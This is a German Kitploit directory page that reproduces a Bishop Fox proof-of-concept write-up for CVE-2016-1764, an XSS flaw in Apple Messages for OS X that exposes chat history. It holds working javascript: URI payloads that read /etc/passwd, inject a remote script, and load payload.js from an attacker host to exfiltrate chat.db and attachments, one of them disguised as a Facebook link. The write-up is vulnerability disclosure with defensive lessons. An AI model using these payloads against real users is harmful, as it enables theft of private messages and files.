Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2016-1764 — Extraktion von iMessage-Daten über XSS | Kitploit
Tools/GitHubGitHub/moloch--/cve-2016-1764
OSINT (Open-Source-Intelligence)iOS-SicherheitExploitationWebanwendungs-ExploitationDatenexfiltrationInformationsbeschaffungMobile Sicherheit
GitHubmoloch--/cve-2016-1764

cve-2016-1764

Extraktion von iMessage-Daten über XSS

Repository anzeigen
5130vor 10 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

PoC-Exploitcode für CVE-2016-1764

Wiederherstellung von iMessage-Klartextdaten ohne die Kryptografie zu brechen

Autoren

  • Shubham Shah von Bishop Fox
  • Joe DeMesy von Bishop Fox
  • Matthew Bryant

CVE-2016-1764

Hersteller: Apple

Veröffentlichungsdatum: 8. April 2016

Patchdatum: 21. März 2016

Betroffene Systeme: Messages unter OSX Mountain Yosemite, El Capitan

Während sich ein Großteil der jüngsten Debatte um Apple auf Kryptografie konzentriert hat, scheinen Industrie und Strafverfolgungsbehörden vergessen zu haben, dass einfachere Schwachstellen auf Anwendungsebene genutzt werden können, um die Verschlüsselung gänzlich zu umgehen. Bei CVE-2016-1764, das von Apple im März 2016 behoben wurde, handelt es sich um einen Fehler auf Anwendungsebene, der durch Ausnutzung des OS-X-iMessage-Clients zur Remote-Offenlegung sämtlicher Nachrichteninhalte und Anhänge im Klartext führt. Darüber hinaus benötigt man keinen Hochschulabschluss in Mathematik, um ihn auszunutzen, noch sind detaillierte Kenntnisse über Speicherverwaltung, Shellcode oder komplexe ASLR-umgehende ROP-Ketten erforderlich. Tatsächlich handelt es sich um einen relativ einfachen Fehler, der von jedem mit grundlegenden JavaScript-Kenntnissen ausgenutzt werden kann.

Technisches TL;DR

Messages (iMessage) für OS X von Apple implementiert seine Benutzeroberfläche mithilfe einer eingebetteten Version von WebKit; darüber hinaus rendert Messages unter OS X jede URI als klickbaren HTML-<a href=-Link. Ein Angreifer kann eine einfache JavaScript-URI (z. B. javascript:) erstellen, die dem Angreifer beim Anklicken eine erste JavaScript-Ausführung (XSS) im Kontext des Anwendungs-DOM gewährt. Obwohl die eingebettete WebKit-Bibliothek, die von Messages für OS X verwendet wird, in einer applewebdata://-Origin ausgeführt wird, kann ein Angreifer weiterhin beliebige Dateien mithilfe von XMLHttpRequest-GET-Anfragen (XHR) an eine file://-URI lesen, da keine Same-Origin-Policy (SOP) implementiert ist. Indem ein Angreifer XHR missbraucht, um Dateien zu lesen, kann er den gesamten Chatverlauf und die Anhänge eines Opfers so schnell auf einen entfernten Server hochladen, wie es die Internetverbindung des Opfers erlaubt; die einzige erforderliche Benutzerinteraktion ist das Klicken auf einen einzelnen Link im Chat. Wenn außerdem die SMS-Weiterleitung aktiviert ist, kann der Angreifer auch Nachrichten abrufen, die an das iPhone des Opfers gesendet oder von ihm empfangen wurden.

Wenn Sie alle ungeschönten Details erfahren möchten, lesen Sie weiter.

Technische Details

Messages für OS X

Messages für OS X verwendet für einen Großteil seiner Benutzeroberfläche eine eingebettete Version von WebKit. Wenn Nachrichten von der Anwendung gesendet oder empfangen werden, wird HTML in das DOM eingefügt, um die Benutzeroberfläche und alle gesendeten Anhänge/Medieninhalte darzustellen. Alle über die Anwendung gesendeten Nachrichten werden in einem DOM gerendert, sodass häufige clientseitige Webschwachstellen die Anwendung beeinträchtigen können.

Beim Testen des Messages-für-OS-X-Clients wurde festgestellt, dass beliebige Protokollschemata automatisch in Links umgewandelt und in das DOM eingefügt wurden. Die folgenden URIs werden beispielsweise beim Übermitteln einer Nachricht alle als Links in die WebView eingefügt:

root@kitploit:~
test://test
smb://[email protected]
file:///etc
anyurihandler://anycontentafter

Da Messages für OS X keine Whitelist akzeptierter Protokolle implementiert, kann ein Angreifer einem Opfer eine Nachricht senden, die eine JavaScript-URI javascript: enthält, die auf dem Rechner des Opfers in einen klickbaren Link umgewandelt wird.

Wird darauf geklickt, führt das eingebettete WebKit das vom Angreifer kontrollierte JavaScript pflichtschuldig in der aktuellen Origin aus, zum Beispiel:

js_prompt_1

Beachten Sie, dass %0a (d. h. \n) verwendet wird, um den JavaScript-Kommentar // zu verlassen, was erforderlich ist, um dem Verlinkungsmuster des Parsers zu entsprechen. Sobald der Code interpretiert wird, sieht er wie folgt aus:

root@kitploit:~
//bishopfox.com/research?
prompt(1)

Beim Anklicken dieses Links wird in Messages für OS X ein JavaScript-Prompt ausgelöst:

Allerdings ist Messages für OS X eine Desktop-Anwendung und keine Website. Daher wird das JavaScript im Kontext einer applewebdata://-Origin ausgeführt:

Der Code des Angreifers wird jedoch in einer vollständigen WebKit-Implementierung ausgeführt, und daher ist XMLHttpRequest zur Laufzeit verfügbar. Einer der Hauptunterschiede zwischen einer eingebetteten Version von WebKit und einem Webbrowser wie Chrome oder Safari besteht darin, dass die eingebettete Version keine Same-Origin-Policy (SOP) implementiert, da es sich um eine native Desktop-Anwendung handelt. Ein Angreifer kann dies ausnutzen, um Dateien vom lokalen Dateisystem zu lesen, ohne die Same-Origin-Policy zu verletzen, indem er XMLHttpRequest-GET-Anfragen an file://-URIs sendet. Die einzige Voraussetzung ist, dass der Angreifer den vollständigen Dateipfad kennen muss; relative Dateisystempfade (z. B. ~/.ssh/id_rsa) können nicht verwendet werden.

Dateien lesen

Beispielsweise kann das folgende JavaScript vom DOM der Messages-Anwendung ausgeführt werden, um die Datei /etc/passwd zu lesen:

root@kitploit:~
function reqListener () {
  prompt(this.responseText);
  // send back to attackers server here
}

var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///etc/passwd");
oReq.send();

In eine URI-Payload umgewandelt sieht der Code wie folgt aus:

root@kitploit:~
javascript://bishopfox.com/research?%0d%0afunction%20reqListener%20()%20%7B%0A%20%20prompt(this.responseText)%3B%0A%7D%0Avar%20oReq%20%3D%20new%20XMLHttpRequest()%3B%0AoReq.addEventListener(%22load%22%2C%20reqListener)%3B%0AoReq.open(%22GET%22%2C%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22)%3B%0AoReq.send()%3B

Beim Anklicken in der Messages-Anwendung erscheint der folgende Prompt:

Da der obige Vektor ziemlich lang ist und übermäßig verdächtig wirkt, ist es möglich, die URI zu verkürzen, indem man JavaScript dynamisch von einer Domain lädt und in das DOM einfügt. Der folgende Vektor injiziert beispielsweise das JavaScript von http://example.com/1.js in das DOM von Messages:

root@kitploit:~
javascript://bishopfox.com/research?%0a%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fexample.com%2f1.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29

Die im obigen Vektor referenzierte JavaScript-Datei //example.com/1.js kann beliebige JavaScript-Anweisungen beliebiger Länge enthalten.

Allerdings beschränkte die OS-X-Anwendungs-Sandbox den Dateisystemzugriff auf nur ~/Library/Messages/* und einige andere Nicht-Benutzer-Systemverzeichnisse wie /etc/.

Stehlen der Messages-Datenbank und der Anhänge

Wenn Nachrichten und Anhänge von Messages unter OS X empfangen werden, werden sie im folgenden Verzeichnis gespeichert:

/Users/<username>/Library/Messages/*

Der Textinhalt dieser Nachrichten und andere Metadaten werden in einer SQLite-Datenbank gespeichert, die sich unter folgendem Pfad befindet:

/Users/<username>/Library/Messages/chat.db

Diese Datenbank enthält auch die Speicherorte aller Anhänge, die sich auf dem Rechner eines Benutzers befinden.

Um diese Datenbank und anschließend alle Anhänge zu stehlen, die ein Opfer jemals empfangen oder gesendet hat, ist eine fortschrittlichere Angriffs-Payload erforderlich.

Überblick über den Exploit

Die folgenden Schritte müssen durchgeführt werden, bevor die Daten von einem Angreifer erfolgreich exfiltriert werden können:

  1. Erste JavaScript-Ausführung im Anwendungs-DOM erlangen
  2. Den aktuellen Benutzer ermitteln (~ kann wiederum nicht verwendet werden)
  3. Mithilfe des Benutzernamens einen vollständigen Pfad für die Datei chat.db erzeugen, d. h. /Users/ExampleUser/Library/Messages/chat.db
  4. XMLHttpRequest verwenden, um die Datenbank chat.db zu lesen und sie nach den Dateipfaden der Anhänge abzufragen
  5. Die Datenbank und alle Anhänge mithilfe von XMLHttpRequest oder WebSockets hochladen, falls Sie Echtzeitzugriff wünschen.

Wir können den aktuell angemeldeten Benutzer ermitteln, indem wir /Library/Preferences/com.apple.loginwindow.plist anfordern und anschließend parsen. Diese Datei ist praktischerweise aus der OS-X-Anwendungs-Sandbox heraus lesbar. Von hier aus ist es trivial, den vollständigen Pfad zur chat.db des Benutzers zu konstruieren.

Sobald die Datenbankdatei erfolgreich exfiltriert wurde, kann sie an ein benutzerdefiniertes serverseitiges Skript übergeben werden, das die vollständigen Pfade der vom Opfer gesendeten und empfangenen Anhänge extrahiert, die sich in der Tabelle attachments in der Datenbank befinden.

Diese vollständigen Pfade werden von der schädlichen JavaScript-Payload abgerufen und anschließend verwendet, um die Anhangsdateien über XMLHttpRequest vom Rechner des Opfers zu exfiltrieren.

Als Nächstes nimmt der Angreifer eine kleine Verschleierung vor, um die URL etwas glaubwürdiger erscheinen zu lassen:

root@kitploit:~
javascript://www.facebook.com/photo.php?fbid=111789595853599&set=a.111055039260388.1073741826.100010676767694&type=3&theater%0A%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fyourhostname%3A8888%2ff%2fpayload.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29

Wenn das Opfer die obige URI in der Messages-für-OS-X-Anwendung anklicken würde, würden der gesamte Chatverlauf des Opfers und alle zugehörigen Anhänge an den Angreifer gesendet.

Erkenntnisse

JavaScript ist überall

Sicherheitslücken in Webanwendungen sind nicht mehr nur auf den Browser beschränkt, sondern haben auch ihren Weg in native Anwendungen gefunden. Auch wenn es für Entwickler produktiv sein kann, Webtechnologien wie WebKit oder dessen weitaus gefährlicheren Verwandten nw.js zum Erstellen von Desktop-Anwendungen zu verwenden, müssen dennoch die Best Practices für die Sicherheit von Webanwendungen befolgt werden.

Tool herunterladen